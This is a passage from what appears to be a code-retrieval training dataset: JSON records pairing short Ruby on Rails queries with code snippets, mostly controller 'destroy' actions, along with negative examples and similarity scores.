|format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end", "def destroy\n @identity = Identity.find(params[:id])\n @identity.destroy\n\n respond_to do |format|\n format.html { redirect_to(identities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ministerio = Ministerio.find(params[:id])\n @ministerio.destroy\n\n respond_to do |format|\n format.html { redirect_to(ministerios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @moto_cover_image_uid = MotoCoverImageUid.find(params[:id])\n @moto_cover_image_uid.destroy\n\n respond_to do |format|\n format.html { redirect_to(moto_cover_image_uids_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @phone_number = PhoneNumber.find(params[:id])\n @phone_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(phone_numbers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @device_attribute.destroy\n\n respond_to do |format|\n format.html { redirect_to(device_attributes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @phone_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(phone_numbers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @mri_scan = MriScan.find(params[:id])\n @mri_scan.destroy\n\n respond_to do |format|\n format.html { redirect_to(mri_scans_url) }\n format.xml { head :ok }\n end\n end", "def deleteEntityPhone( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/phone\",params)\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @outgoing_sms_number_group = OutgoingSmsNumberGroup.find(params[:id])\n @outgoing_sms_number_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(outgoing_sms_number_groups_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @newsletter_registrations = NewsletterRegistrations.find(params[:id])\n @newsletter_registrations.destroy\n\n respond_to do |format|\n format.html { redirect_to(newsletter_registrations_url) }\n format.xml { head :ok }\n end\n end", "def delete\n @user = User.find(params[:id])\n @user.rvsps.delete_all()\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @regdb = Regdb.find(params[:id])\n @regdb.destroy\n\n respond_to do |format|\n format.html { redirect_to(regdbs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @registry = Registry.find(params[:id])\n @registry.destroy\n logger.info \"*-*-*-*-* #{@registry.name} deleted by #{@user.name}.\"\n\n respond_to do |format|\n format.html { redirect_to( user_gifts_url(@user)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @all_registration = AllRegistration.find(params[:id])\n @all_registration.destroy\n\n respond_to do |format|\n format.html { redirect_to all_registrations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @download_registration.destroy\n respond_to do |format|\n format.html { redirect_to([:admin, @download_registration.registered_download]) }\n format.xml { head :ok }\n end\n end", "def destroy\n @it_device = ItDevice.find(params[:id])\n @it_device.destroy\n\n respond_to do |format|\n format.html { redirect_to(it_devices_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @incrustation_tmp = @incrustation.dup\n @incrustation.destroy\n record_activity(@incrustation_tmp)\n respond_to do |format|\n format.html { redirect_to admin_incrustations_url, notice: 'Вставка была успешно удалена.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @relatorios = Relatorio.find(params[:id])\n @relatorios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @registration_code = RegistrationCode.find(params[:id])\n @registration_code.destroy\n\n respond_to do |format|\n format.html { redirect_to(registration_codes_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @fax_document = FaxDocument.find(params[:id])\n @fax_document.destroy\n \n respond_to do |format|\n format.html { redirect_to(fax_documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @upload_file = UploadFile.find(params[:id])\n doc_no=@upload_file.doc_no\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to upload_files_url(:doc_no=>doc_no) }\n format.xml { head :ok }\n end\n end", "def destroy\n @gstr_advance_receipts = GstrAdvanceReceipt.find_by_id_and_company_id(params[:id], @company.id)\n @gstr_advance_receipts.delete_gstr_one_entry \n @gstr_advance_receipts.delete\n respond_to do |format|\n @gstr_advance_receipts.register_delete_action(request.remote_ip, @current_user, 'deleted')\n format.html { redirect_to(gstr_advance_receipts_url, :notice =>\"Gstr Advance Receipt has been succesfully deleted\") }\n format.xml {head :ok}\n \n end\n end", "def destroy\n @registration_number.destroy\n respond_to do |format|\n format.html { redirect_to registration_numbers_url, notice: 'Registration number was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n flash[:error] = 'Deleting registrations is not supported.'\n respond_to do |format|\n format.html { redirect_to([@patient]) }\n format.xml { render :xml => @registration.errors.add_to_base(flash[:error]), :status => :unprocessable_entity }\n end\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @verification = Verification.find(params[:id])\n @verification.destroy\n\n respond_to do |format|\n format.html { redirect_to(verifications_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @sale_register = SaleRegister.find(params[:id])\n @sale_register.destroy\n\n respond_to do |format|\n format.html { redirect_to(sale_registers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end", "def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @discovery = Discovery.find(params[:id])\n @discovery.destroy\n\n respond_to do |format|\n format.html { redirect_to(discoveries_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @az_register_confirmation = AzRegisterConfirmation.find(params[:id])\n @az_register_confirmation.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_register_confirmations_url) }\n format.xml { head :ok }\n end\n end", "def destroy_rest\n @page_usage_event = PageUsageEvent.find(params[:id])\n @page_usage_event.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_usage_events_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @number_master = NumberMaster.find(params[:id])\n @number_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(number_masters_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @bench_test_photo_gen = BenchTest::PhotoGen.find(params[:id])\n @bench_test_photo_gen.destroy\n\n respond_to do |format|\n format.html { redirect_to(bench_test_photo_gens_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contact_number = ContactNumber.find(params[:id])\n @contact_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(contact_numbers_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n node = @job.nodes.find(params[:id])\n @job.nodes.delete(node)\n\n respond_to do |format|\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n end\n end", "def destroy\n @phonecall = Phonecall.find(params[:id])\n @phonecall.destroy\n\n respond_to do |format|\n format.html { redirect_to(phonecalls_url) }\n format.xml { head :ok }\n end\n end", "def delete\n request(:delete)\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n @iguanasactualizacion = Iguanasactualizacion.find(params[:id])\n @iguanasactualizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(iguanasactualizaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @device = Device.find(params[:id])\n @device.destroy\n\n respond_to do |format|\n format.html { redirect_to(devices_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @device = Device.find(params[:id])\n @device.destroy\n\n respond_to do |format|\n format.html { redirect_to(devices_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @inbound_email_log = InboundEmailLog.find(params[:id])\n @inbound_email_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(inbound_email_logs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @omatsuri = Omatsuri.find(params[:id])\n @omatsuri.destroy\n\n respond_to do |format|\n format.html { redirect_to(omatsuris_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @device.destroy\n\n respond_to do |format|\n format.html { redirect_to(devices_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end", "def destroy\n @erratum = Erratum.find(params[:id])\n @erratum.destroy\n\n respond_to do |format|\n format.html { redirect_to(errata_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end", "def destroy\n @child_dupa2 = ChildDupa2.find(params[:id])\n @child_dupa2.destroy\n\n respond_to do |format|\n format.html { redirect_to(child_dupa2s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @phone = Phone.find(params[:id])\n @phone.destroy\n\n respond_to do |format|\n format.html { redirect_to phones_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @registration = Registration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format.html { redirect_to registrations_url }\n format.json { head :no_content }\n end\n end", "def delete_meeting(meeting_key, operation_name = \"Delete Meeting\")\n value = meeting_key\n xml_value = xml_meetings(@configuration, operation_name,value)\n res = Net::HTTP.start(@configuration[:host]){ |http|\n http.post(\"/WBXService/XMLService\",xml_value)\n }\n xml_data = res.body\n response = Hash.new\n doc = REXML::Document.new xml_data\n header = doc.root.elements[\"serv:header\"].elements[\"serv:response\"]\n response= {:result => header.elements[\"serv:result\"].text}\n return response\n end", "def destroy\n @correspondenciasasignada = Correspondenciasasignada.find(params[:id])\n @correspondenciasasignada.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondenciasasignadas_url) }\n format.xml { head :ok }\n end\n end", "def delete_list_member(f)\n File.open f, 'r' do |file|\n file.each do |email|\n begin\n print email\n email.chomp!\n RestClient.delete(\"https://api:key-#{API_KEY}\" \\\n \"@api.mailgun.net/v3/lists/#{LIST}@#{DOMAIN_NAME}/members/#{email}\")\n rescue\n puts \"--------\\n#{email} Not found..NEXT\\n\"\n next\n end\n end\n end\nend", "def destroy\n @registration = Registration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format.html { redirect_to competitive_registrations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @donation_request = DonationRequest.find(params[:id])\n @donation_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(donation_requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @registration.destroy\n end", "def destroy\n @registration.destroy\n end", "def destroy\n @register.destroy\n\n respond_to do |format|\n format.html { redirect_to(registers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @mobile = Mobile.find(params[:id])\n #@mobile.destroy\n\n respond_to do |format|\n format.html { redirect_to(mobiles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @key_metric = KeyMetric.find(params[:id])\n @key_metric.destroy\n\n respond_to do |format|\n format.html { redirect_to(key_metrics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @instituicao = Instituicao.find(params[:id])\n @instituicao.destroy\n\n respond_to do |format|\n format.html { redirect_to(instituicoes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @boat_user_phone = BoatUserPhone.find(params[:id])\n @boat_user_phone.destroy\n\n respond_to do |format|\n format.html { redirect_to(boat_user_phones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @registration = Registration.find(params[:id])\n @registration.destroy\n \n redirect_to registrations_path\nend", "def destroy\n @patientinformation = Patientinformation.find(params[:id])\n @patientinformation.destroy\n\n respond_to do |format|\n format.html { redirect_to(patientinformations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @promos = Promos.find(params[:id])\n @promos.destroy\n\n respond_to do |format|\n format.html { redirect_to(promos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @domino = Domino.find(params[:id])\n @domino.destroy\n\n respond_to do |format|\n format.html { redirect_to(dominos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @apn_notification = APN::Notification.find(params[:id])\n @apn_notification.destroy\n\n respond_to do |format|\n format.html { redirect_to(apn_notifications_url) }\n format.xml { head :ok }\n end\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def destroy\n @ip_addr = IpAddr.find(params[:id])\n @ip_addr.destroy\n\n respond_to do |format|\n format.html { redirect_to(ip_addrs_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.6785442", "0.6525029", "0.63755083", "0.63554126", "0.6328032", "0.6322757", "0.6310833", "0.6310833", "0.6310833", "0.6310833", "0.6310833", "0.6248103", "0.6242309", "0.6198912", "0.61402214", "0.6101365", "0.60624576", "0.60268134", "0.60031545", "0.59856653", "0.5972314", "0.597027", "0.5958678", "0.595192", "0.5949132", "0.5937455", "0.59352726", "0.59292734", "0.5923551", "0.5914773", "0.5910408", "0.5908636", "0.59055984", "0.5903794", "0.59015006", "0.58979636", "0.5897668", "0.589262", "0.5892388", "0.5891763", "0.5881813", "0.58753675", "0.5871469", "0.5865119", "0.58577794", "0.58572584", "0.58449763", "0.58342195", "0.58335346", "0.58331335", "0.58331335", "0.58331335", "0.58331335", "0.58331335", "0.58254945", "0.58235", "0.581903", "0.58149725", "0.5813673", "0.58090496", "0.5794612", "0.5792746", "0.57922256", "0.57920134", "0.5780356", "0.5776612", "0.57765263", "0.5770195", "0.5768238", "0.576642", "0.5761693", "0.5761693", "0.5753443", "0.57471883", "0.574707", "0.57467616", "0.5746496", "0.57462776", "0.5741121", "0.5740802", "0.5734738", "0.57335395", "0.5721185", "0.5718057", "0.57155246", "0.57143056", "0.5714108", "0.5714108", "0.5710658", "0.57065153", "0.57048637", "0.5704537", "0.57013863", "0.5700128", "0.56984144", "0.56961066", "0.56942075", "0.5687865", "0.5687354", "0.56839144" ]
0.72625786
0
has_many :bikes, :favorite_bikes, :favorites
def current_user scope == object end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def my_favorites\n\tend", "def favourited_items\n self.favourites.each do |f|\n f.favouritable\n end\n end", "def include_objects\n ActsAsFavable::Favorite.includes(:favable)\n end", "def favorited_items\n User.first.favorites.map {|fi| fi.product}\n end", "def favorite_artworks\n artworks.where(favorite: true)\n end", "def index\n @auction_favorites = Auction::Favorite.all\n end", "def favorite_brewery\n favorite :brewery\n end", "def user_favorite_wrestlers\n FavoriteWrestler.all.select do |fav|\n fav.user == self \n end \n end", "def list_fav\r\n users = User.all \r\n users.each do |user|\r\n puts \"#{user}\"\r\n user.snacks.each do |snack|\r\n puts \"- #{snack}\"\r\n end\r\n end\r\nend", "def set_favorite\n end", "def favorites\n @favorites ||= Favorite.by_tweet_id.key(id)\n end", "def favorite_for(user)\n favs.find_by(user_id: user)\n end", "def favorited\r\n Favorite.find(:all, :conditions => {:favorable_type => self.class.to_s, :favorable_id => self.id})\r\n end", "def get_likes\n Like.all.select {|like| like.dog_id == self.id}\n end", "def get_likes\n Like.all.select {|like| like.dog_id == self.id}\n end", "def get_favorite_for user\n\t user.favorites.find_by_page_id(self)\n end", "def favourite_for(user)\n favourites.find_by_user_id user\n end", "def user_favorite_moves\n FavoriteMove.all.select do |fav|\n fav.user == self \n end \n end", "def index \n @favorites = Favorite.all\n @users = User.all\n end", "def index\n @favorite_items = FavoriteItem.all\n end", "def favourites\n @bottom_bar_header = \"Favourites\"\n @favourited_links = Link.joins(:favourites).where( favourites: { user_id: current_user } )\n end", "def favorite_brewery\n favorite :brewery\n end", "def favorite_hikes(user_id) #the area where the user can see their list of favorite hikes.\n#one line sql line that greg said I know how to do for showing the favorites of the user. \n # user = User.find_by(name: name)\n # user.hikes\n# binding.pry\n# user.hike.each do |hikes|\n# puts hike.name \n#SELECT hike_id FROM FAVORITES WHERE user_id = user_id\n \nputs \"The below are your favorite hikes:\"\nputs \"\"\n# binding.pry\nhikes_names_array =[]\nhikes_id_array = Favorite.where(user_id: user_id).pluck(\"hike_id\").uniq\nhikes_id_array.each do |hike|\n hikes_names_array << Hike.find(hike).name\n #binding.pry\nend\nputs hikes_names_array.join(\", \")\nputs \"\"\nfavorites_menu_question\nend", "def view_favorites\n #current_user will call favorites method to see the list of favorites table in database\n \n current_user.breweries.each do |brewery|\n puts \"*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*\"\n puts brewery.name\n puts brewery.street\n puts brewery.city\n puts brewery.state\n puts brewery.phone\n puts \"*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*\"\n end \n end", "def view_favorites\n #current_user will call favorites method to see the list of favorites table in database\n favorite_array = Favorite.where(user_id:current_user.id)\n \n favorite_array.each do |favorite|\n puts Brewery.find(favorite.brewery_id).name\n puts Brewery.find(favorite.brewery_id).street\n puts Brewery.find(favorite.brewery_id).city\n puts Brewery.find(favorite.brewery_id).state\n end \n # current_user.favorites\n end", "def index\n @favoritens = Favoriten.all\n end", "def add_to_favorites(id)\n @user = User.find(self.id)\n @user.add_to_set(favorite_places: id) \n end", "def favorite_recipes\n favorites.each do |f|\n f.recipe\n end\n end", "def favorite?\n @favorite\n end", "def favorite?\n @favorite\n end", "def acts_as_favoriter(*args)\n has_many :favorites, :class_name => \"ActsAsFavorite::Favorite\", :as => :favoriter\n\n # Models have the favoriter ability?\n def self.favoriter?\n true\n end\n\n class_eval do\n include ActsAsFavorite::Extenders::Favoriter\n # Models have the favoriter ability?\n def favoriter?\n true\n end\n end\n\n end", "def is_favorite?\n\t favorite?\n\tend", "def favorite!(wallpaper)\n self.favorites.create!(wallpaper_id: wallpaper.id)\n end", "def get_recent_fav\n shows = Show.joins(:interests).where('interests.user_id' => self.id,\n 'interests.click' => 2).order('interests.created_at DESC').limit(5)\n return shows.all\n end", "def index\n @favourite_drinks = FavouriteDrink.all\n end", "def show\n @favorites = Favorite.all\n end", "def create\n @book = Book.find(params[:book_id])\n @user = current_user\n @favorite = current_user.favorites.new(book_id: @book.id)\n @favorite.save\n end", "def get_favorite\n @json = FavoriteBeer&.all.where(user_id: @current_user.id).as_json\n\n @json.map! { |beer| beer.slice('id', 'name', 'tagline', 'description', 'abv', 'punk_id') }\n @json.each { |beer| beer[:favorite] = true }\n\n render json: {\n favorite_beers: @json\n }\n end", "def favorite?\n @favorite\n end", "def add_favorite options={}\n\t options[:comic_id] = self.comic\n\t self.favorites.create!(options)\n\tend", "def create_likes\n end", "def create_likes\n end", "def create_likes\n end", "def index\n @favorites = Favorite.all\n end", "def index\n @favorites = Favorite.all\n end", "def index\n @favorites = Favorite.all\n end", "def favourite_heroes()\n sql = \"\n SELECT DISTINCT h.id, h.name FROM players p\n INNER JOIN favourites f\n ON f.player_id = p.id\n INNER JOIN heroes h\n ON h.id = f.hero_id\n WHERE player_id = #{@id};\n \"\n return Hero.get_many( sql )\n end", "def show\n @reviews = @user.reviews.includes(:item)\n @favorites = @user.favorites.includes(:item)\n end", "def favorite_hashtags\n favorite_stuffs(:hashtags, :text, 3)\n end", "def get_favorites\n @user = User.find(self.id)\n return Shop.where(id: \n { :$in => @user.favorite_places })\n .each { |shop| pp \"#{shop.picture}, #{shop.name}, #{shop.email}, #{shop.city}, #{shop.location}\"}\n end", "def index\n \t@bikes = Bike.all\n end", "def favorited_by?(user)\n Favorite.where('object_id = ? AND object_type = ? AND user_id = ?', self.id, self.class.to_s, user.id).count > 0\n end", "def is_favorite_of user\n\t fave = get_favorite_for user\n\t fave ? true : false\n\tend", "def index\n @favorite_dishes = FavoriteDish.all\n end", "def user_has_favorite(image_id)\n if self.favorites.find_by(image_id: image_id)\n return true \n else \n return false\n end\n end", "def save_likes(beers)\n user = current_user\n beers.each do |beer_id|\n user.likes << Like.find_or_create_by_beer_id(beer_id: beer_id)\n end\n user.save\n end", "def create_favorites(brewery_id)\n Favorite.create(user_id: current_user.id,brewery_id:brewery_id)\n end", "def create_favorites(brewery_id)\n Favorite.create(user_id: current_user.id,brewery_id:brewery_id)\n end", "def favorites\n # @weblink = Weblink.all.find(params[:id])\n # binding.pry\n @fav_links = Weblink.where(:favorite => true)\n end", "def has_favorited(link_id)\n return self.favorites.include? link_id\n end", "def index\n @bikes = Bike.all\n end", "def favorite_players(fan)\n Fan.find_by(name: fan).players\nend", "def likes\n @likes = @person.likes\n end", "def index\n @favourites = Favourite.all\n end", "def index\n @favourites = Favourite.all\n end", "def index\n @favourites = Favourite.all\n end", "def index\n @favourites = Favourite.all\n end", "def permitted_params\n { user_favorite: user_favorite_params }\n end", "def fav_recipes\n self.reload.ratings.select {|rating| rating.fav}\n end", "def set_favorite\n @favorite = Album.find(params[:id])\n end", "def users_favorite?(user)\n votes.any? { |v| v.user_id == user.id && v.favorite }\n end", "def has_favorite?(vanue_or_venue_id)\n v_id = (vanue_or_venue_id.kind_of?(Venue)) ? vanue_or_venue_id.id : vanue_or_venue_id\n self.favorites.select {|f| f.favorite_id == v_id }.size > 0\n end", "def has_favourited_post?(post_id)\n Favourite.where(:post_id => post_id, :user_id => self.id).any?\n end", "def favorite_brewery\n return nil if ratings.empty?\n Brewery.joins(:raters).group('users.id', :id).\n having('users.id = ?', id).\n order('AVG(score) DESC').\n first\n end", "def add_to_favorites(new_fav)\n @fav_list << new_fav \n end", "def bike_count\n bikes.count\n end", "def favorited?(wallpaper)\n self.favorites.find_by_wallpaper_id(wallpaper.id)\n end", "def likes\n Activity.joins(:activity_verb).where('activity_verbs.name' => \"like\").\n joins(:activity_objects).where('activity_objects.id' => activity_object_id)\n end", "def set_favorite\n @favorite = Favorite.find(params[:id])\n end", "def set_favorite\n @favorite = Favorite.find(params[:id])\n end", "def bikes_owned\n DATABASE.execute(\"SELECT bikes.bike_name FROM bikes JOIN cyclists ON bikes.cyclist_id = cyclists.id WHERE cyclists.id = #{id}\")\n end", "def bikes_owned\n DATABASE.execute(\"SELECT bikes.bike_name FROM bikes JOIN cyclists ON bikes.cyclist_id = cyclists.id WHERE cyclists.id = #{id}\")\n end", "def index\n @list_favorites = ListFavorite.all\n end", "def set_favorite\n @favorite = current_user.favorites.find(params[:id])\n end", "def index\n @favorite_chapters = FavoriteChapter.all\n end", "def index\n @user_scheme_favorites = UserSchemeFavorite.all\n end", "def likers \n self.likes.map {|like| like.user_id}\n end", "def create\n Favorite.create favorite_params\n show_all\n end", "def index\n @shop_favorites = ShopFavorite.all\n end", "def set_auction_favorite\n @auction_favorite = Auction::Favorite.find(params[:id])\n end", "def favorites(action=nil)\n my.favorites(action)\n end", "def favorite_params\n params.require(:favorite).permit(:user_id, :post_id)\n end", "def model_relationships; end", "def associations; end", "def is_fav?(user)\n user.favs.find_by(post_id: self.id)\n end", "def create_favorites\n @user = self\n playlist = Playlist.create(:title => \"Favorites\", :user_id => @user.id, :favorite => true)\n end", "def set_favorite\n @favorite = Favorite.find(params[:id]) \n end", "def buy_fish(name)\n new_fish = Fish.new(name)\n self.pets[:fishes] << new_fish \n end", "def index\n @favorite_albums = current_user.favorite_albums\n end", "def toggle\n\t\tif is_favourited\n\t\t\tself.is_favourited = false\n\t\telse\n\t\t\tself.is_favourited = true\n\t\tend\n\t\tself.save\n\tend", "def set_favorite_item\n @favorite_item = FavoriteItem.find(params[:id])\n end" ]
[ "0.64640605", "0.64286697", "0.6360204", "0.6214893", "0.61960393", "0.6182329", "0.6174362", "0.6145989", "0.60928816", "0.608533", "0.60635984", "0.6055706", "0.6024451", "0.60170233", "0.60170233", "0.596829", "0.59469014", "0.59195256", "0.59105134", "0.5908065", "0.58956367", "0.58753633", "0.5869933", "0.5865291", "0.58652115", "0.5864882", "0.58520484", "0.58513635", "0.5846647", "0.5846647", "0.5829737", "0.5828019", "0.58040166", "0.57912385", "0.5783587", "0.575972", "0.5749718", "0.5749236", "0.5733356", "0.57325464", "0.5703202", "0.5703202", "0.5703202", "0.5697638", "0.5697638", "0.5697638", "0.56889194", "0.5672088", "0.5650048", "0.5644827", "0.56438047", "0.56428134", "0.5620084", "0.562004", "0.56128305", "0.560206", "0.5601502", "0.5601502", "0.5585648", "0.55838174", "0.55791897", "0.5570257", "0.55698925", "0.55597687", "0.55597687", "0.55597687", "0.55597687", "0.555468", "0.5529645", "0.5529492", "0.55219126", "0.5512675", "0.55093205", "0.55021167", "0.5501147", "0.5500715", "0.5478216", "0.54751813", "0.54684633", "0.54684633", "0.54651797", "0.54651797", "0.54508734", "0.54449636", "0.5435663", "0.5433506", "0.54329634", "0.54276973", "0.54215765", "0.5416689", "0.5415623", "0.54112786", "0.5407485", "0.5405873", "0.540351", "0.5387552", "0.53844815", "0.53834593", "0.53770936", "0.53738314", "0.53726244" ]
0.0
-1
Creates a DSL instance for a given scenario
def initialize(waw_kernel, scenario) @waw_kernel = waw_kernel @scenario = scenario @browser = Browser.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def scenario(scenario_name, &block)\n @scenarios[scenario_name] = Scenario.new(@_method_name, &block)\n end", "def scenario(description, &block)\n @scenarios ||= []\n\n # instantiate scenario\n scenario = Scenario.new(\n script: self,\n context: context,\n description: description,\n run_result: run_result\n )\n\n # run the DSL\n scenario.instance_eval(&block)\n\n # add to our collection of scenarios\n @scenarios << scenario\n end", "def scenario(statement)\n return if has_exclude_tags?(statement[:tags].map { |t| t[:name].gsub(/^@/, '') })\n\n scenario = YARD::CodeObjects::Lucid::Scenario.new(@feature,\"scenario_#{@feature.scenarios.length + 1}\") do |s|\n s.comments = statement[:comments] ? statement[:comments].map{|comment| comment.value}.join(\"\\n\") : ''\n s.description = statement[:description] || ''\n s.add_file(@file,statement[:location][:line])\n s.keyword = statement[:keyword]\n s.value = statement[:name]\n\n statement[:tags].each {|scenario_tag| find_or_create_tag(scenario_tag[:name],s) }\n end\n\n scenario.feature = @feature\n @feature.scenarios << scenario\n @step_container = scenario\n statement[:steps].each { |s| step(s) }\n end", "def initialize(scenario)\n @scenario = scenario\n end", "def create\n # scrub this template input\n if template = scenario_params[\"template\"]\n @scenario = YmlRecord.load_yml(\"scenarios/local/#{template}/#{template}.yml\")\n else\n @scenario = Scenario.new(scenario_params)\n end\n\n @scenario.user_id = current_user.id\n @scenario.save!\n\n respond_to do |format|\n if @scenario.save\n format.html { redirect_to @scenario, notice: 'Scenario was successfully created.' }\n format.json { render :show, status: :created, location: @scenario }\n else\n format.html { render :new }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "def define_kind_of_step(class_name)\n define_instance_dsl_method( class_name.downcase ) do |step_name, nb_of_days|\n new_step = class_name.constantize.new(step_name, nb_of_days)\n new_step.parent = self\n self.add_step( new_step )\n end\n end", "def scenario\n if scenario_id\n _id = scenario_id\n elsif parent.scenario_id\n _id = parent.scenario_id\n else\n raise \"Assosiation not found ScenarioStep\\##{id}: scenario\"\n end\n Scenario.find(_id)\n end", "def scenario(id)\n raise(ArgumentError, 'Nil id!') if id.nil?\n raise(ArgumentError, \"There is already a scenario with id #{id}\") if @@scenarios.has_key?(id)\n\n @@scenarios[id] = self\n end", "def initialize(scenario)\n @graph = scenario.gql.future.graph\n end", "def scenario_outline(statement)\n return if has_exclude_tags?(statement[:tags].map { |t| t[:name].gsub(/^@/, '') })\n\n outline = YARD::CodeObjects::Lucid::ScenarioOutline.new(@feature,\"scenario_#{@feature.scenarios.length + 1}\") do |s|\n s.comments = statement[:comments] ? statement[:comments].map{|comment| comment.value}.join(\"\\n\") : ''\n s.description = statement[:description] || ''\n s.add_file(@file,statement[:location][:line])\n s.keyword = statement[:keyword]\n s.value = statement[:name]\n\n statement[:tags].each {|scenario_tag| find_or_create_tag(scenario_tag[:name],s) }\n end\n\n outline.feature = @feature\n @feature.scenarios << outline\n @step_container = outline\n statement[:steps].each { |s| step(s) }\n statement[:examples].each { |e| examples(e) }\n end", "def generate_scenario_task(scenario, deps)\n deps.unshift 'rocksteady:repos:fetch', 'rocksteady:refs:check'\n desc scenario.title\n task \"rocksteady:scenario:#{corpus.scenarios.size}\" => deps do |t|\n scenario.schedule!\n end\n end", "def initialize(scenario)\n if scenario.is_a?(Scenario)\n # Assign this GQL instance the scenario, which defines the area_code,\n # end_year and the values of the sliders\n @scenario = scenario\n # Assign the present and future Qernel:Graph. They are both \"empty\" 